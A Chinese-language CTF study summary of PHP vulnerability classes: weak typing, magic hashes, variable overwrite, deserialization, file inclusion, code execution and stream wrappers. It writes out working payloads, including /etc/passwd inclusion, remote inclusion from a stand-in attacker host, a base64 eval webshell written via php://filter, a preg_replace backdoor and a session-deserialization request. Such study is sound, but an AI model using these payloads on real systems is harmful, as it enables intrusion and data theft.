CTF中常见PHP漏洞总结

PHP是世界上最好的语言。

咳咳…这句话说出来往往有两种含义。

PHP的很多特性在方便编程的同时也会带来很多安全隐患,其中一些漏洞就在CTF中经常出现,现在就来总结一下在CTF中常常用到的关于PHP的知识点,请各位大佬批评指正。

基础知识

系统变量

系统变量也叫超全局变量,,是指在全部作用域中始终可用的内置变量:

1
2
3
4
5
6
7
8
9
$GLOBALS	// 引用全局作用域中可用的全部变量
$_POST // 获取 post 数据,是一个字典
$_GET // 获取 get 数据,是一个字典
$_COOKIE // 获取 cookie
$_SESSION // 获取 session
$_FILES // 获取上传的文件
$_REQUEST // 获取 $_GET,$_POST,$_COOKIE 中的数据
$_ENV // 环境变量
$_SERVER // 服务器和执行环境信息

可变变量

可变变量指的是变量名可变,将一个普通变量的值作为可变变量的变量名。例如:

1
2
3
4
5
6
7
$a="hello";
// 定义可变变量时,可以加上大括号
${$a}="world";

echo ${$a}; //运行结果 :world
echo $$a; //运行结果 :world
echo $hello; //运行结果 :world

错误控制运算符

将“@”放置在一个PHP表达式之前,该表达式可能产生的任何错误信息都被忽略掉。

数组定义方法

1
2
3
4
5
6
7
$a = array(
"user" => "admin",
"pass"=>"[email protected]"
);

$a['user'] = 'admin';
$a['pass'] = '[email protected]';

单双引号的区别

双引号里面的字段会经过编译器解释,然后再当作HTML代码输出;而单引号里面的不进行解释,直接输出。

1
2
3
$str='hello';
echo "str is $str"; // 运行结果 : str is hello
echo 'str is $str'; // 运行结果 : str is $str

变量默认值

如果只定义一个变量,并没有设置它的值,默认它的值为0。

打印变量

echo()可以一次输出多个值,多个值之间用逗号分隔。echo是语言结构(language construct),而并不是真正的函数,因此不能作为表达式的一部分使用。

print()可以输出字符串。print() 实际上不是一个函数(它是一个语言结构)所以不能被可变函数调用,因此你可以不必使用圆括号来括起它的参数列表。

print_r()可以把字符串和数字简单地打印出来,而数组则以括起来的键和值得列表形式显示,并以Array开头。但print_r()输出布尔值和NULL的结果没有意义,因为都是打印”\n”。因此用var_dump()函数更适合调试。

var_dump()可以判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型。此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

下面将比较echo、print、print_r、var_dump四种打印变量的方法:

  • 返回值

echo没有返回值,print、print_r有返回值,var_dump也有返回值,但返回值是NULL。

  • 是否要带括号

echo、print可带可不带,print_r、var_dump必须带。

  • 能否输出多变量

echo可以,但不能加括号;print、print_r不可以;var_dump可以

  • 可打印的数据类型

echo:可输出字符型、整形、浮点型、布尔型、资源;不可输出数组、对象(会报错);不可输出NULL(不会报错)。

print:同echo。

print_r:可输出字符型、整形、浮点型、布尔型、数组、对象、资源;不可输出NULL(不会报错)。

var_dump:可输出字符型、整形、浮点型、布尔型、数组、对象、资源、NULL。

文件操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//列目录
scandir('/site')

//输出文件内容
show_source('flag.php');
highlight_file('flag.php');
var_dump(file('flag.php'));
print_r(file('flag.php'));

//读取文件内容
file_get_contents('flag.php');
//也可以读取远程 URL 的文件
file_get_contents('http://xxx.xxx.com/index.html');
//输入不合法的url会显示Error: Invalid URL

传参

以下面url为例:

1
http://www.example.com/web/false.php?name[]=a&password[]=b

如果GET的参数中设置name[]=a,那么$_GET[‘name’]=[a],PHP会把[]=a当成数组传入,$_GET会自动对参数调用urldecode。

$_POST同样存在此漏洞,如果提交的表单数据中user[]=admin,$_POST[‘user’]的值是数组[‘admin’]。

PHP内置函数的松散性

strcmp和strcasecmp

这两个方法用于比较字符串,其中strcmp区分大小写,strcasecmp忽略大小写。其返回值规则如下:

  • 若str1小于str2,返回-1
  • 若str1等于str2,返回0
  • 若str1大于str2,返回1

在比较之前的处理,不同版本处理方法不同:

  • 5.2中将两个参数先转换成string类型
  • 5.3.3以后,在比较数组和字符串时,返回0
  • 5.5中,如果参数不是string类型,直接返回0

md5和sha1

语法:

1
2
3
//raw规定十六进制32字符(FALSE,默认)或16字符二进制(TRUE)输出格式
md5(string, raw)
sha1(string, raw)

这两个函数无法处理数组,但PHP不会抛出异常,而是直接返回false。

如果raw为TRUE,则会将hash后的值再以16字符二进制转成字符串返回,这里就存在SQL注入的问题:

有这样一个字符串:ffifdyop,md5后为276f722736c95d99e921722cf9ed621c,再转为字符串:’or’6�]��!r,��b

1
2
3
4
$password = "ffifdyop";
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
//拼接后的SQL语句:
SELECT * FROM admin WHERE pass = ''or'6�]��!r,��b';

parse_url

parse_url函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?
$test = parse_url("http://localhost/index.php?name=tank&sex=1#top");
print_r($test);
?>

//运行结果:
Array
(
[scheme] => http //使用什么协议
[host] => localhost //主机名
[path] => /index.php //路径
[query] => name=tank&sex=1 // 所传的参数
[fragment] => top //后面跟的锚点
)

当url没有协议,却给出端口时,parse_url就会报错:

1
/pupiles.com:80

而当解析如下url时,又会默认解析出一个port值:

1
2
3
4
5
6
7
8
//pupiles.com/about:1234

array(2) {
["host"]=>
string(11) "pupiles.com"
["path"]=>
string(9) "/about:1234"
}

在PHP5.3.13以下时,解析如下url会造成端口溢出:

1
2
3
4
5
6
7
//http://pupiles:78325

array(3) {
["scheme"]=> string(4) "http"
["host"]=> string(7) "pupiles"
["port"]=> int(12789)
}

弱类型

强类型和弱类型的不同点

强类型的变量一经声明,就只能存储这种类型的值,其他的值则必须通过转换之后才能付给该变量,有编译器自动理解的转换,也有由程序员明确指定的强制转换。但是,弱类型的变量类型则是随着需要不断转换。

强制转换并没有改变变量类型。强类型语言的“强制转换”改变的是变量的值的类型,以便进行赋值,而没有改变变量的类型。

弱类型比较

PHP是一个典型的弱类型语言。在PHP中,==只比较两者值的大小,===先比较类型,再比较值。

1
2
3
4
5
6
7
8
9
10
11
1 == '1abc' // true
true == 'abcd' // true
"42" == "42.0" // true
"42" == "000042.00" // true
"42" == "0x000000002A" // true
"10" == "1e1" // true
"42" == "0000000004.2E+1" // true
"42" == "42.0e+000000" // true
[false] == [0] == [NULL] == ['']
NULL == false == 0
'0.999999999999999999999' == 1

true in PHP4.3.0+:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
'0e0' == '0e1'
'0e0' == '0E1'
'10e2' == ' 01e3'
'10e2' == '01e3'
'10e2' == '1e3'
'010e2' == '1e3'
'010e2' == '01e3'
'10' == '010'
'10.0' == '10'
'10' == '00000000010'
'12345678' == '00000000012345678'
'0010e2' == '1e3'
'123000' == '123e3'
'123000e2' == '123e5'

true in 5.2.1+,false in PHP4.3.0-5.2.0:

1
'608E-4234' == '272E-3063'

true in PHP4.3.0-5.6.x,false in 7.0.0+:

1
2
3
4
5
6
7
8
9
10
'0e0' == '0x0'
'0xABC' == '0xabc'
'0xABCdef' == '0xabcDEF'
'000000e1' == '0x000000'
'0xABFe1' == '0xABFE1'
'0xe' == '0Xe'
'0xABCDEF' == '11259375'
'0xABCDEF123' == '46118400291'
'0x1234AB' == '1193131'
'0x1234Ab' == '1193131'

true in PHP4.3.0-4.3.9, 5.2.1-5.6.x,false in PHP4.3.10-4.4.9, 5.0.3-5.2.0, 7.0.0+:

1
2
3
4
'0xABCdef' == ' 0xabcDEF'
'1e1' == '0xa'
'0xe' == ' 0Xe'
'0x123' == ' 0x123'

true in PHP4.3.10-4.4.9, 5.0.3-5.2.0,false in PHP4.3.0- 4.3.9, 5.0.0-5.0.2, 5.2.1-5.6.26, 7.0.0+:

1
'0e0' == '0x0a'

true in PHP4.3.0-4.3.9, 5.0.0-5.0.2,false in PHP4.3.10-4.4.9, 5.0.3-5.6.26, 7.0.0+

1
'0xe' == ' 0Xe.'
1
2
//0x 开头会被当成16进制,54975581388的16进制为 0xccccccccc,十六进制与整数,被转换为同一进制比较
'0xccccccccc' == '54975581388'

intval()

intval() 在转换的时候,会从字符串的开始进行转换,直到遇到一个非数字的字符为止。即使出现无法转换的字符串,intval()也不会报错而是返回 0。

1
2
3
4
5
6
7
8
var_dump(intval('2')) // 2
var_dump(intval('3abcd')) // 3
var_dump(intval('abcd')) // 0

var_dump(0 == '0'); // true
var_dump(0 == 'abcdefg'); // true
var_dump(0 === 'abcdefg'); // false
var_dump(1 == '1abcdef'); // true

trim

trim 函数会过滤空格以及 \n\r\t\v\0,但不会过滤过滤\f。

1
2
$a = "  \n\r\t\v\0abc  \f";
var_dump(trim($a)); // abc \f

is_numeric

is_numeric函数用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字。

1
2
3
4
5
6
7
8
<?php
echo is_numeric(233333); // 1
echo is_numeric('233333'); // 1
echo is_numeric(0x233333); // 1
echo is_numeric('0x233333'); // 1
echo is_numeric('9e9'); // 1
echo is_numeric('233333abc'); // 0
?>

is_numeric 检测的时候会自动过滤掉前面的 ‘ ‘, ‘\t’, ‘\n’, ‘\r’, ‘\v’, ‘\f’ 等字符,但是不会过滤 ‘\0’,如果这些字符出现在字符串尾,也不会过滤,而是返回 false。

1
2
3
4
5
6
7
8
9
var_dump(is_numeric("\01")); // false
var_dump(is_numeric(" 1")); // true
var_dump(is_numeric("\t1")); // true
var_dump(is_numeric("\n1")); // true
var_dump(is_numeric("\r1")); // true
var_dump(is_numeric("\v1")); // true
var_dump(is_numeric("\f1")); // true
var_dump(is_numeric("\f\f1")); // true
var_dump(is_numeric("1\f")); // false

数组与字符串

当 $var 是一个字符串的时候,访问 $var[“any string”] 跟访问 $var[intval(“any string”)] 效果是一样的。如果有变量覆盖,可以实现一些绕过。

1
2
3
4
5
6
7
$userinfo = 'abcdefg';
$userinfo['id'] = 123;
// 这里等价于 $var[0] = 1,$userinfo['id'] = 1
$userinfo['role'] = 1;
if ($userinfo['id'] == 1) {
echo 'flag{***}';
}

in_array

in_array函数用来判断一个值是否在某一个数组列表里面,通常判断方式如下:

1
in_array('b', array('a', 'b', 'c');

下面这段代码的作用是过滤 GET 参数 typeid 在不在 1,2,3,4 这个数组里面。但是,in_array 函数存在自动类型转换。如果请求,typeid=1’ union select.. 也能通过 in_array 的验证:

1
2
3
4
if (in_array($_GET('typeid'], array(1, 2, 3, 4))) {
$sql="select …. where typeid=".$_GET['typeid']";
echo $sql;
}

hash

0e开头且后面都是数字在比较时会被当作科学计数法,也就是等于0*10^xxx=0。

0e开头的md5值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//纯数字类:
240610708 0e462097431906509019562988736854
314282422 0e990995504821699494520356953734
571579406 0e972379832854295224118025748221
903251147 0e174510503823932942361353209384
1110242161 0e435874558488625891324861198103
1320830526 0e912095958985483346995414060832
1586264293 0e622743671155995737639662718498
2302756269 0e250566888497473798724426794462
2427435592 0e067696952328669732475498472343
2653531602 0e877487522341544758028810610885
3293867441 0e471001201303602543921144570260
3295421201 0e703870333002232681239618856220
3465814713 0e258631645650999664521705537122
3524854780 0e507419062489887827087815735195
3908336290 0e807624498959190415881248245271
4011627063 0e485805687034439905938362701775
4775635065 0e998212089946640967599450361168
4790555361 0e643442214660994430134492464512
5432453531 0e512318699085881630861890526097
5579679820 0e877622011730221803461740184915
5585393579 0e664357355382305805992765337023
6376552501 0e165886706997482187870215578015
7124129977 0e500007361044747804682122060876
7197546197 0e915188576072469101457315675502
7656486157 0e451569119711843337267091732412

//大写字母类:
QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
EEIZDOI 0e782601363539291779881938479162
TUFEPMC 0e839407194569345277863905212547
UTIPEZQ 0e382098788231234954670291303879
UYXFLOI 0e552539585246568817348686838809
IHKFRNS 0e256160682445802696926137988570
PJNPDWY 0e291529052894702774557631701704
ABJIHVY 0e755264355178451322893275696586
DQWRASX 0e742373665639232907775599582643
DYAXWCA 0e424759758842488633464374063001
GEGHBXL 0e248776895502908863709684713578
GGHMVOE 0e362766013028313274586933780773
GZECLQZ 0e537612333747236407713628225676
NWWKITQ 0e763082070976038347657360817689
NOOPCJF 0e818888003657176127862245791911
MAUXXQC 0e478478466848439040434801845361
MMHUWUV 0e701732711630150438129209816536

//小写字母类:
aaaXXAYW 0e540853622400160407992788832284
aabg7XSs 0e087386482136013740957780965295
aabC9RqS 0e041022518165728065344349536299

0e开头的sha1值:

1
2
3
4
5
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729

0e开头的CRC32值:

1
6586: 0e817678

如果要找出 0e 开头的 hash 碰撞,可以用如下代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
$salt = 'vunp';
$hash = '0e612198634316944013585621061115';

for ($i=1; $i<100000000000; $i++) {
if (md5($salt . $i) == $hash) {
echo $i;
break;
}
}
?>

switch

如果 switch 使用数字类型的 case 判断时, switch 会将其中的参数转换为 int类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
// 如果$i = 2/../flag_is_here,则通过这种方式可以包含 flag_is_here.php 文件
require_once $i.'.php';
echo $flag;
break;
case 3:
echo "i is 3";
}

$i被转换成2。

正则表达式

preg_match

测试代码如下:

1
2
3
4
5
6
7
8
<?php
$file_name = $_GET["path"];
if(!preg_match("/^[/a-zA-Z0-9-s_]+.rpt$/m", $file_name)) {
echo "regex failed";
} else {
echo exec("/usr/bin/file -i -b " . $file_name);
}
?>

匹配文件名由字母、数字、下划线、破则号、斜杠、空白字符各种组合的并且后缀名是rpt的文件,如果匹配成功,就执行系统命令file打印文件的类型和编码信息,如果匹配失败就打印’regex failed’。

想要让系统执行任意命令,构造payload:

1
?path=file.rpt%oaid

在PHP中正则表达式结尾处的/m表示开启多行匹配模式。而没开启多行模式时(即单行匹配模式), ^ 和$ 是匹配字符串的开始和结尾,开启多行模式之后,多行模式^、$可以匹配每行的开头和结尾,所以上述payload里面含有换行符,被当做两行处理,一行匹配OK即可,所以进入了exec执行分支,进而导致命令执行。

ereg %00截断

题目代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){
//strpos — 查找字符串首次出现的位置
if (strpos ($_GET['password'], '*-*') !== FALSE) {
die('Flag: ' . $flag);
}
else{
echo('<p>*-* have not been found</p>');
}
}
else{
echo '<p>Invalid password</p>';
}
}
?>

得到flag需要密码满足三个条件:

  • password必须是一个或多个数字、大小写字母
  • password的位数要小于8,值要大于9999999
  • password里必须包含字符串’-

构造如下payload即可:

1
password=1e8%00*-*

变量覆盖

extract()

extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

1
2
3
4
5
6
7
<?php
$id=1;
extract($_GET);
echo $id;
?>
//提交:?id=123
//结果: 123

在调用extract()时使用EXTR_SKIP保证已有变量不会被覆盖:

1
extract($_GET,EXTR_SKIP);

parse_str()

parse_str() 函数把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

1
2
3
4
5
6
<?php
parse_str("a=1");
echo $a."<br/>"; //$a=1
parse_str("b=1&c=2",$myArray);
print_r($myArray); //Array ( [c] => 1 [b] => 2 )
?>

$$

使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。

1
2
$_ = '_POST';
// $$_ 即$_POST
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
$id = isset($id) ? $id : 2;
if($id == 1) {
echo "flag{xxxxxxxxxx}";
die();
}
echo $id;
?>

构造?id=1即可

unset

unset($bar); 用来销毁指定的变量,如果变量 $bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。

特殊PHP代码格式

以如下后缀结尾的 php 文件也能被解析,在 fast-cgi 里面配置。

1
2
3
4
5
6
.php2
.php3
.php4
.php5
.php7
.phtml

如果正则匹配文件内容中包含<?就退出,可以使用下面方法绕过:

1
2
3
4
// 除了 php 7.0 不允许外,其他都允许
<script language="php">
echo base64_encode(file_get_contents('flag.php'));
</script>

如果在 php.ini 文件中配置允许 ASP 风格的标签:

1
2
3
; Allow ASP-style <% %> tags.
; http://php.net/asp-tags
asp_tags = On

可以使用如下代码:

1
<% echo 'a'; %>

配置中short_open_tag默认为Off,如果为On,则允许如下代码:

1
<?  echo base64_encode(file_get_contents('flag.php')); ?>

伪随机数

伪随机是由可确定的函数(常用线性同余),通过一个种子(常用时钟),产生的伪随机数。这意味着:如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)。

mt_rand()并不是一个真·随机数生成函数,实际上绝大多数编程语言中的随机数函数生成的都都是伪随机数。每次调用mt_rand()都会先检查是否已经播种。如果已经播种就直接产生随机数,否则调用php_mt_srand来播种。但 mt_rand() 实际使用的函数可是相当复杂且无法逆运算的。有效的破解方法其实是穷举所有的种子并根据种子生成随机数序列再跟已知的随机数序列做比对来验证种子是否正确。php_mt_seed就是这么一个工具:

https://www.openwall.com/php_mt_seed/

rand()用法跟mt_rand() 类似,但是mt_rand()的执行效率更高。

反序列化

  • __construct():构造函数,具有构造函数的类会在每次创建新对象时先调用此方法。
  • __destruct():析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
  • __sleep():serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
  • wakeup() :unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

PHP在反序列化unserialize()后会导致wakeup()或destruct()的直接调用,可写入一些漏洞或恶意代码。

__wakeup()函数绕过

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class xctf
{
public $flag = "111";

public function __wakeup()
{
exit('bad requests');
}
}
//echo serialize(new xctf());
echo unserialize($_GET['code']);
echo "flag{****}";
?>

当PHP5<5.6.25或PHP7<7.0.10时,如果序列化字符串中表示对象个数的值大于真实的属性个数时会跳过 __wakeup 函数的执行。

xctf类原本序列化为:

1
O:4:"xctf":1:{s:4:"flag";s:3:"111";}

其中1代表xctf中变量的数量,将1改为2会产生报错,从而跳过执行wakeup()函数。

变量引用

可以通过将变量的值存储为另外一个变量的地址,类似于 C 语言中的引用。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class just4fun 
{
var $enter;
var $secret;
}
$a = new just4fun();
$a->secret = "123";
// 这里的 & 跟 C 语言一样,是取 $a->secret 值的地址赋给 $a->enter
$a->enter = &$a->secret;
$o = unserialize(serialize($a));
if ($o) {
$o->secret = "xxxxxxx";
// 因为 $o->enter 存储的是 $o->secret 的值的地址,因此比较的时候相等的
if ($o->secret === $o->enter)
echo "Congratulation! Here is my Key: " . $o->secret;
}

session反序列化

PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

  • php:键名 + 竖线 + 经过 serialize() 函数反序列处理的值
  • php_binary:键名的长度对应的ASCII字符 + 键名 + 经过 serialize() 函数反序列处理的值
    php_serialize (php>=5.5.4):经过 serialize() 函数反序列处理的数组

如果 PHP 在反序列化 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//foo1.php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = $_GET['ryat'];


//foo2.php
ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini
session_start();
class ryat {
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi;
}
}

构造payload:

1
foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

php_serialize 处理器序列化为:

1
a:1:{s:4:"ryat";s:36:"|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}"}

当按照php处理器的反序列化时,会将竖线之后的值当做sesseion的值反序列化,从而实例化了ryat对象。

这里注意,如果利用这种方式上传了 webshell,读取文件的时候需要使用绝对路径,例如 /opt/lampp/htdocs/index.php。

session upload progress

上面那个方法需要能够构造session的值,如果没有能够写入session的地方,则可以利用session upload progress。

传文件时,如果 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的变量,就可以将 filename 的值赋值到session 中,filename 的值如果包含双引号,还需要进行转义。

测试代码如下:

http://web.jarvisoj.com:32784/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

利用upload_progress上传一个名字为PHP_SESSION_UPLOAD_PROGRESS的字段,由于其会向$_SESSION中upload_progress_PHP_SESSION_UPLOAD_PROGRESS字段写入内容,其必然会调用php 反序列化处理器,我们向其中构造一个OowoO对象,mdzz字段为要执行的代码,当程序运行完,执行析构函数时,便会执行我们构造的恶意代码。

构造表单:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit" value="提交">
</form>
</body>
</html>

burp 抓包修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: web.jarvisoj.com:32784
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypN9LkEc0KCMj7TfC
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3208.0 Safari/537.36
Cookie: PHPSESSID=jfdu23je5jlu43sfgc3akp3037
Content-Length: 302

------WebKitFormBoundarypN9LkEc0KCMj7TfC
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

|O:5:"OowoO":1:{s:4:"mdzz";s:26:"print_r(scandir(__dir__));";}
------WebKitFormBoundarypN9LkEc0KCMj7TfC
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

123
------WebKitFormBoundarypN9LkEc0KCMj7TfC--

即可执行print_r(scandir(dir))。

本地文件包含

常见的文件包含的函数有:

  • include()
  • include_once()
  • require()
  • require_once()
  • fopen()
  • readfile()

当 PHP 包含一个文件时,会将该文件当做 PHP 代码执行,而不会在意文件是什么类型。

%00截断

测试代码:

1
2
3
4
5
6
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
include '/home/wwwrun/'.$file.'.php';
}
?>

上述代码存在本地文件包含,使用%00截断即可:

1
?file=../../../../../../../../../etc/passwd%00

此处需要magic_quotes_gpc=off,PHP 小于 5.3.4。如果magic_quotes_gpc=On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线进行转义。

路径长度截断

Linux 需要文件名长于 4096,Windows 需要长于 256。

1
2
//完整的路径为/var/www/test/test.txt   
<?php $a=''; for($i=0;$i<=4071;$i++) { $a .= '/'; } $a = 'test.txt'.$a; require_once($a.'.php'); ?>

字符截断

除了%00可以截断,还可以用字符.或者/.,或者./(注意顺序)来截断,不能纯用/

在windows下需要.字符最少的POC:

1
lfi.php?action=password..............................................................................................................................................................................................................................................

用./截断,字符最少的POC:

1
lfi.php?action=password./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

具体是./还是/.,和路径长度的奇偶有关,可以丢很长的/.,最后再跳整下第一个/或者.。

远程文件包含

1
?file=[http|https|ftp]://example.com/shell.txt

测试代码:

1
2
3
4
5
6
<?php
if ($route == "share") {
require_once $basePath . "/action/m_share.php";
} elseif ($route == "sharelink") {
require_once $basePath . "/action/m_sharelink.php";
}

构造变量basePath的值:

1
2
3
?basePath=http://attacker/phpshell.txt?
// 带入源代码:
require_once "http://attacker/phpshell.txt?/action/m_share.php";

问好后的部分被解释为URL的querstring。

命令执行

assert

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动(视assert_options而定)。参数可以为布尔类型的值,也可以是字符串,当参数为字符串时,会被当作 PHP 代码执行。

测试代码:

1
2
3
4
5
6
7
8
9
// 可以执行 php 代码
$page = "flag'.system(\"ls\").'";
$file = "templates/" . $page . ".php";
// 这里构造后的新字符串如下,
// strpos('templates/'.system("ls").'.php', '..') === false
assert("strpos('$file', '..') === false");
// 当test.php?a=phpinfo()时,phpinfo()会被执行。
$a=$_GET['a'];
assert($a);

执行操作符`

PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出),使用效果与函数 shell_exec() 相同。

system,exec,shell_exec 三种命令执行函数的区别:

  • system():
1
$last_line = system('ls',$return_var);

system()会将输出内容直接打印,对于网页,会将所有回传内容都显示于页面上。
$last_line:只能获取最后一行的内容
$return_var:取得系统状态回传码

  • exec()
1
exec('ls',$output,$return_var);

$output:回传内容都会存于此变量中(储存成阵列),不会直接打印在页面上。
$return_var:取得系统状态回传码

  • shell_exec()
1
$output = shell_exec('ls');

$output:回传内容都会存于此变量中(储存成纯文字内容),不会直接打印在页面上。

preg_replace()

1
preg_replace ( $pattern , $replacement , $subject [, $limit = -1 [, &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。

测试代码:

1
2
3
4
5
// 这样是可以执行命令的
echo preg_replace('/test/e', 'phpinfo()', 'just test');

// 这种没有匹配上,所以返回值是第三个参数,不会执行命令
echo preg_replace('/test/e', 'phpinfo()', 'just tesxt');

构造后门:

1
2
@preg_replace("//e", $_GET['h'], "Access Denied");  
echo preg_replace("/test/e", $_GET["h"], "jutst test");

触发:

1
?h=phpinfo();

伪协议

php伪协议,事实上是其支持的协议与封装协议。

在php.ini里有两个重要的参数allow_url_fopen和allow_url_include。allow_url_fopen:默认值是ON,允许url里的封装协议访问文件。allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件。

php://filter

一般用于任意文件读取,有时也可以用于getshell.在双OFF的情况下也可以使用。

1
php://filter/[read/write]=string.[rot13/strip_tags/…..]/resource=xxx
  • resource:要过滤的数据流。这个参数是必须的。它指定了你要筛选过滤的数据流。
  • read:读链的筛选列表。该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
  • write:写链的筛选列表。该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔

filter的read和write参数有不同的应用场景。read用于include()和file_get_contents(),write用于file_put_contents()中。任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链:

1
2
//base64编码后输出
php://filter/convert.base64-encode/resource=xxx
1
2
3
4
5
6
7
8
9
10
11
<?php 
show_source(__FILE__);
$c = "<?php exit;?>";
@$c.=$_GET['c'];
@$filename = $_GET['file'];
@file_put_contents($filename, $c);
highlight_file('tmp.php');
?>

//先对内容做base64-decode,然后再写入文件
php://filter/write=convert.base64-decode/resource=abc.php&c=0PD9waHAgQGV2YWwoJF9SRVFVRVNUWydoJ10pOz8%2B

php://input

用于写入文件,将body整体作为数据传入,GET、POST均可,需要开启allow_url_include。

1
2
3
4
5
GET /?user=php://input HTTP/1.1
Host: 10.255.10.157:8087
Content-Length: 17

the user is admin

data://

将 include 的文件流重定向到用户控制的输入流。

1
/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw==

phar://

PHP归档,需要开启allow_url_include。写一个包含一句话的文件shell.php,压缩成压缩包,更改后缀为jpg/png上传即可。

1
phar://test.[zip/jpg/png…]/shell.php

zip://,bzip2://,zlib://

双OFF的时候也可以用,类似phar://。

1
2
//#要urlencode为%23
/php?file=zip://1.png%231.php

dict://

1
2
3
4
# 查看 redis 中的 info 数据
/index.php?url=dict://127.0.0.1:6379/info
# 查看 ssh 的 banner
/index.php?url=dict://127.0.0.1:ssh端口/info

file://

CTF中常用来读取本地文件,在双off的情况下也是可以正常使用的。

1
